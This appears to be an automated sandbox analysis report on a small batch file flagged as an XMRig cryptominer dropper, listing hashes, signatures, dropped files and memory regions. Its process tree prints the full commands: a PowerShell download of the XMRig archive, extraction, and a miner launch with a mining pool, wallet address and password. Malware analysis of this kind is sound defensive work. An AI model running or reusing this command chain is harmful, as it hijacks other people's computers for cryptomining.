Analysis

  • max time kernel
    1793s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-12-2023 08:52

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1336
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4296

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    273b4b0e30c6834e40e727001e78b836

    SHA1

    a55e80dc8baa54dd75736f773224c2a8be1e8cde

    SHA256

    1592dfe6b3ce195fbd5a9888471ffa389212090ab041ad2ac37824eb1ae93669

    SHA512

    7b340d6d72269f9236e015030f96c2f0da796a2c8fb5ce9d72bfbcc8bb78982f69ef0bbf391ff9b7ffa428502c0118ee0e67db3d797f05ccc149ece6b2ab4611

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbadl51b.jvt.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    115KB

    MD5

    2b9b8a2f66f801c9656119f0e14a0ee6

    SHA1

    f39f8f9cb556162546cc17b421f3750a443aca81

    SHA256

    9d3b20fcd8bbd9123ed8efbee0d55a2a75873b08ccafb3a35940f29b4b053878

    SHA512

    4ac56b33b180a4b22d8b636cecb7a21e7af2322cd6a652d829756946ec31c5cba8be94646f5d5a0c5e6cffa17fa4d57b1196b61441366f816ea8dda15e6b2e4f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    72KB

    MD5

    05314aec1c8cb0e9061e0d635471519d

    SHA1

    3be2113cc6f194ac2e2b77902e5d8c3ef38016d0

    SHA256

    f22754cde9fefec671415be337013e8905640cad666704207895ecb112518065

    SHA512

    ab5949b9cead8ecac77369b054444d4b8d7cac7a6dc4a7975f997d728b43a61a86d570e76b3d5bbd60f486c07883b7da2f8c17f3e6cfb983c38fa2f93e543809

  • memory/1336-41-0x0000020944660000-0x0000020944670000-memory.dmp

    Filesize

    64KB

  • memory/1336-76-0x0000020944970000-0x0000020944982000-memory.dmp

    Filesize

    72KB

  • memory/1336-37-0x00007FFA08380000-0x00007FFA08D6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1336-113-0x00007FFA08380000-0x00007FFA08D6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1336-62-0x0000020944660000-0x0000020944670000-memory.dmp

    Filesize

    64KB

  • memory/1336-39-0x0000020944660000-0x0000020944670000-memory.dmp

    Filesize

    64KB

  • memory/1336-89-0x00000209447D0000-0x00000209447DA000-memory.dmp

    Filesize

    40KB

  • memory/1576-6-0x00007FFA08380000-0x00007FFA08D6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1576-4-0x000002DFF1880000-0x000002DFF18A2000-memory.dmp

    Filesize

    136KB

  • memory/1576-7-0x000002DFF1840000-0x000002DFF1850000-memory.dmp

    Filesize

    64KB

  • memory/1576-10-0x000002DFF1A30000-0x000002DFF1AA6000-memory.dmp

    Filesize

    472KB

  • memory/1576-9-0x000002DFF1840000-0x000002DFF1850000-memory.dmp

    Filesize

    64KB

  • memory/1576-25-0x000002DFF1840000-0x000002DFF1850000-memory.dmp

    Filesize

    64KB

  • memory/1576-30-0x00007FFA08380000-0x00007FFA08D6C000-memory.dmp

    Filesize

    9.9MB

  • memory/4296-141-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-151-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-118-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-119-0x0000023ED2E50000-0x0000023ED2E70000-memory.dmp

    Filesize

    128KB

  • memory/4296-120-0x0000023ED2E70000-0x0000023ED2E90000-memory.dmp

    Filesize

    128KB

  • memory/4296-121-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-122-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-123-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-125-0x0000023ED2E70000-0x0000023ED2E90000-memory.dmp

    Filesize

    128KB

  • memory/4296-124-0x0000023ED2E50000-0x0000023ED2E70000-memory.dmp

    Filesize

    128KB

  • memory/4296-126-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-127-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-128-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-129-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-130-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-131-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-132-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-133-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-134-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-135-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-136-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-137-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-138-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-139-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-140-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-116-0x0000023ED1620000-0x0000023ED1640000-memory.dmp

    Filesize

    128KB

  • memory/4296-142-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-143-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-144-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-145-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-146-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-147-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-148-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-149-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-150-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-117-0x0000023ED2E30000-0x0000023ED2E50000-memory.dmp

    Filesize

    128KB

  • memory/4296-152-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-153-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-154-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-155-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-156-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-157-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-158-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-159-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-160-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-161-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-162-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-163-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-164-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-165-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-166-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-167-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-168-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-169-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-170-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-171-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-172-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-173-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-174-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-175-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-176-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-177-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-178-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-179-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-180-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-181-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-182-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-183-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4296-184-0x00007FF60D5C0000-0x00007FF60E0C3000-memory.dmp

    Filesize

    11.0MB